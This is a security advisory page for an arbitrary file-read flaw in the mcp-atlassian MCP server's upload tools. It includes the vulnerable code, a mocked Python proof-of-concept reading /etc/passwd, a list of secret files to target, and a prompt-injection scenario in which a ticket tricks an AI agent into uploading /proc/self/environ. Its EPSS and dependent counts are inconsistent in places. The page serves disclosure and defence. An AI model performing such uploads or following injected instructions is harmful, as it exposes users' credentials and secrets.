CVE-2026-77266: mcp-atlassian: arbitrary file read via upload_attachment

GHSA-mfv2-4wvm-9pgpMEDIUMPoC AVAILABLECISA: TRACK*
Published September 22, 2026
CISO Take

mcp-atlassian, a popular MCP server that lets AI agents work with Jira and Confluence, fails to validate the file path in its upload tools, so any MCP client can make the server read local files such as /etc/passwd or /proc/self/environ and attach them to an Atlassian issue or page. This is an incomplete fix of an earlier download-side advisory, a public proof-of-concept exists, and the package already has 38 other tracked CVEs. Exploitation likelihood is modest (EPSS 0.44%, 64th percentile; not in CISA KEV; SSVC TRACK*), and only one downstream dependent is tracked, but the realistic trigger is a prompt-injected or compromised agent, which needs no special exploit skill. The real exposure is theft of API keys and OAuth refresh tokens from the server's environment. Upgrade to mcp-atlassian 0.22.0 or later, run the server with minimal filesystem access, and review recent Jira and Confluence attachments for unexpected system or config files.

Sources:NVDGitHub AdvisoryEPSSATLAS

What is the risk?

Medium (CVSS 6.5, high confidentiality impact only). Low complexity and a public PoC raise practical risk, but statistical exploitation likelihood is modest (EPSS 0.44%) and there is no KEV listing or known in-the-wild use. Exposure is highest where the MCP server runs with broad file access, holds secrets in its environment or OAuth token files, and is driven by an LLM agent that processes untrusted content (tickets, pages, emails), because a prompt injection can supply the malicious path. A second-order risk is that the stolen secrets enable lateral movement into other systems.

How does the attack unfold?

Initial Access
Attacker gains access to an MCP client or injects instructions into content the AI agent processes.
AML.T0051.001
Tool Invocation
The agent is made to call the Jira or Confluence upload tool with a sensitive path such as /proc/self/environ.
AML.T0053
Collection
The server opens the file without path validation and reads secrets from the local system.
AML.T0037
Exfiltration
File contents are uploaded as an attachment to the Atlassian instance, where the attacker retrieves them.
AML.T0086

What systems are affected?

PackageEcosystemVulnerable RangePatched
MCP Atlassianpip< 0.22.00.22.0
2 dependents85% patched~4d to patchFull package profile →

Do you use MCP Atlassian? You're affected.

How severe is it?

CVSS 3.1
6.5 / 10
EPSS
0.5%
chance of exploitation in 30 days
Higher than 43% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
○CISA SSVC: Public PoC
○Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVACPRUISCIA
AVNetwork
ACLow
PRLow
UINone
SUnchanged
CHigh
INone
ANone

What should I do?

1 step
  1. 1) Upgrade mcp-atlassian to 0.22.0 or later (fix in PR #1448). 2) Until patched, disable or remove the jira_upload_attachment and confluence_upload_attachment tools from the agent's tool allowlist, or require human approval for each upload. 3) Run the MCP server in a container or sandbox with a read-only, minimal filesystem, as a non-privileged user, with no access to home directories, SSH keys or sensitive mounts. 4) Rotate Atlassian API tokens, OAuth tokens and any secrets in the server's environment if exposure is suspected. 5) Detection: audit Jira and Confluence for attachments named passwd, environ, shadow, *.pem, id_rsa or oauth-*.json, and log MCP tool calls whose file_path points outside approved directories. 6) Treat LLM tool arguments as untrusted input and enforce path allowlists at the tool layer.

What does CISA's SSVC say?

DecisionTrack*
Exploitationpoc
AutomatableNo
Technical Impactpartial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15-Accuracy, robustness and cybersecurity
ISO 42001
A.10.3-Suppliers
NIST AI RMF
MANAGE 2.3-Respond to previously unknown risks and manage risks from third-party components
OWASP LLM Top 10
LLM05-Supply Chain VulnerabilitiesLLM06-Excessive Agency

Frequently Asked Questions

What is CVE-2026-77266?

mcp-atlassian, a popular MCP server that lets AI agents work with Jira and Confluence, fails to validate the file path in its upload tools, so any MCP client can make the server read local files such as /etc/passwd or /proc/self/environ and attach them to an Atlassian issue or page. This is an incomplete fix of an earlier download-side advisory, a public proof-of-concept exists, and the package already has 38 other tracked CVEs. Exploitation likelihood is modest (EPSS 0.44%, 64th percentile; not in CISA KEV; SSVC TRACK*), and only one downstream dependent is tracked, but the realistic trigger is a prompt-injected or compromised agent, which needs no special exploit skill. The real exposure is theft of API keys and OAuth refresh tokens from the server's environment. Upgrade to mcp-atlassian 0.22.0 or later, run the server with minimal filesystem access, and review recent Jira and Confluence attachments for unexpected system or config files.

Is CVE-2026-77266 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-77266, increasing the risk of exploitation.

How to fix CVE-2026-77266?

1) Upgrade mcp-atlassian to 0.22.0 or later (fix in PR #1448). 2) Until patched, disable or remove the jira_upload_attachment and confluence_upload_attachment tools from the agent's tool allowlist, or require human approval for each upload. 3) Run the MCP server in a container or sandbox with a read-only, minimal filesystem, as a non-privileged user, with no access to home directories, SSH keys or sensitive mounts. 4) Rotate Atlassian API tokens, OAuth tokens and any secrets in the server's environment if exposure is suspected. 5) Detection: audit Jira and Confluence for attachments named passwd, environ, shadow, *.pem, id_rsa or oauth-*.json, and log MCP tool calls whose file_path points outside approved directories. 6) Treat LLM tool arguments as untrusted input and enforce path allowlists at the tool layer.

What systems are affected by CVE-2026-77266?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, MCP servers, tool-using LLM agents, enterprise collaboration integrations.

What is the CVSS score for CVE-2026-77266?

CVE-2026-77266 has a CVSS v3.1 base score of 6.5 (MEDIUM). The EPSS exploitation probability is 0.50%.

What is the AI security impact?

Affected AI Architectures

agent frameworksMCP serverstool-using LLM agentsenterprise collaboration integrations

MITRE ATLAS Techniques

AML.T0037Data from Local System
AML.T0051.001Indirect
AML.T0053AI Agent Tool Invocation
AML.T0086Exfiltration via AI Agent Tool Invocation
AML.T0098AI Agent Tool Credential Harvesting

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.10.3
NIST AI RMF: MANAGE 2.3
OWASP LLM Top 10: LLM05, LLM06

What are the technical details?

Original Advisory

### Summary The `upload_attachment` functions in both the Jira and Confluence modules accept a user-controlled `file_path` parameter and open the specified file for reading **without calling `validate_safe_path()`**. An authenticated MCP client can supply an arbitrary path such as `/etc/passwd` or `/proc/self/environ`, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment. This is an **incomplete fix** relative to GHSA-xjgw-4wvw-rgm4: the `download_attachment` and `download_issue_attachments` paths were hardened with `validate_safe_path()`, but the upload direction was left unguarded in both the Jira and Confluence modules. --- ### Details **Affected functions:** | File | Function | Line | |------|----------|------| | `src/mcp_atlassian/jira/attachments.py` | `upload_attachment()` | ~372–415 | | `src/mcp_atlassian/confluence/attachments.py` | `upload_attachment()` | ~62–108 | | `src/mcp_atlassian/confluence/attachments.py` | `_upload_attachment_direct()` | ~476–477 | **Jira — vulnerable code path (`jira/attachments.py`):** ```python def upload_attachment(self, issue_key: str, file_path: str) -> dict: ... if not os.path.isabs(file_path): file_path = os.path.abspath(file_path) # resolves relative paths if not os.path.exists(file_path): # confirms file exists ... # ⚠ validate_safe_path() is NEVER called here filename = os.path.basename(file_path) with open(file_path, "rb") as file: # arbitrary file opened attachment = self.jira.add_attachment( issue_key=issue_key, filename=file_path ) ``` Compare with the **protected** download path in the same file: ```python def download_attachment(self, url: str, target_path: str) -> bool: ... validate_safe_path(target_path) # upload has no equivalent ``` **Confluence — vulnerable code path (`confluence/attachments.py`):** ```python def upload_attachment(self, content_id, file_path, ...): ... if not os.path.isabs(file_path): file_path = os.path.abspath(file_path) # ⚠ validate_safe_path() is NEVER called filename = os.path.basename(file_path) attachment = self._upload_attachment_direct( content_id, file_path, filename, comment, minor_edit ) # Inside _upload_attachment_direct(): files = {"file": (filename, open(file_path, "rb"))} # ← arbitrary file opened ``` --- ### PoC Tested against commit `d8bc786` (v0.21.1, latest `main`). No real Atlassian credentials required — the API call is stubbed. **Jira PoC (`poc_001_jira_path_traversal.py`):** ```python import sys, os, types from unittest.mock import MagicMock sys.path.insert(0, "src") def _make_pkg(name): m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m atlassian_pkg = _make_pkg("atlassian") atlassian_jira = _make_pkg("atlassian.jira") atlassian_pkg.jira = atlassian_jira atlassian_jira.Jira = type("Jira", (), { "__init__": lambda s, *a, **k: None, "_session": MagicMock() }) atlassian_pkg.Jira = atlassian_jira.Jira keyring = _make_pkg("keyring") keyring.get_password = keyring.set_password = lambda *a, **k: None from mcp_atlassian.jira.attachments import AttachmentsMixin from mcp_atlassian.jira.config import JiraConfig config = JiraConfig(url="https://test.atlassian.net", auth_type="basic", username="x", api_token="x") class FakeFetcher(AttachmentsMixin): def __init__(self): self.config = config self.jira = MagicMock() self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"} result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd") print(result) ``` **Observed output — Jira (Kali Linux, v0.21.1):** <img width="1342" height="131" alt="image" src="https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc" /> ``` [*] Target file : /etc/passwd [*] Calling : AttachmentsMixin.upload_attachment() [*] Return value: {'success': True, 'issue_key': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'} [*] Files opened: ['/etc/passwd'] [!!!] VULNERABLE — file opened with no path validation add_attachment call args: call(issue_key='TEST-1', filename='/etc/passwd') ``` **Observed output — Confluence (Kali Linux, v0.21.1):** <img width="2682" height="576" alt="image" src="https://github.com/user-attachments/assets/17fc641f-6c62-4e3f-87d0-81d6977f5004" /> ``` [*] Target file : /etc/passwd [*] Calling : ConfluenceAttachmentsMixin.upload_attachment() [*] Return value: {'success': True, 'content_id': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'} [*] Files opened: ['/etc/passwd'] [!!!] VULNERABLE — /etc/passwd opened without validate_safe_path() upload_attachment() → _upload_attachment_direct() → open(file_path) download_attachment() in same file IS protected — asymmetric fix ``` Key evidence: - `success: True` — no exception raised, no path validation triggered - `size: 3388` — `/etc/passwd` was opened and read by `os.path.getsize()` - Both modules affected independently — neither Jira nor Confluence has an upload-side guard In a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page. --- ### Impact Any authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process: - `/etc/shadow` — system password hashes - `/proc/self/environ` — process environment variables (API keys, secrets) - `~/.mcp-atlassian/oauth-*.json` — stored OAuth refresh tokens - SSH private keys, TLS certificates, application configuration files No special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the `jira_upload_attachment` and `confluence_upload_attachment` MCP tools are affected. **Root cause:** The `validate_safe_path()` utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to *download* operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.

Exploitation Scenario

An attacker plants hidden instructions in a Jira ticket comment or Confluence page that an enterprise AI assistant later summarizes. The injected prompt directs the agent to call jira_upload_attachment with file_path=/proc/self/environ on an issue the attacker can read. The MCP server opens the file and uploads it, and the attacker, who has read access to that issue, downloads the attachment and recovers Atlassian tokens, cloud API keys and other secrets. A malicious plugin or an already-compromised MCP client can do the same directly, for example against ~/.mcp-atlassian/oauth-*.json.

Weaknesses (CWE)

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'): The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

  • [Implementation] Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylis
  • [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Timeline

Published
September 22, 2026
Last Modified
September 22, 2026
First Seen
September 23, 2026

Related Vulnerabilities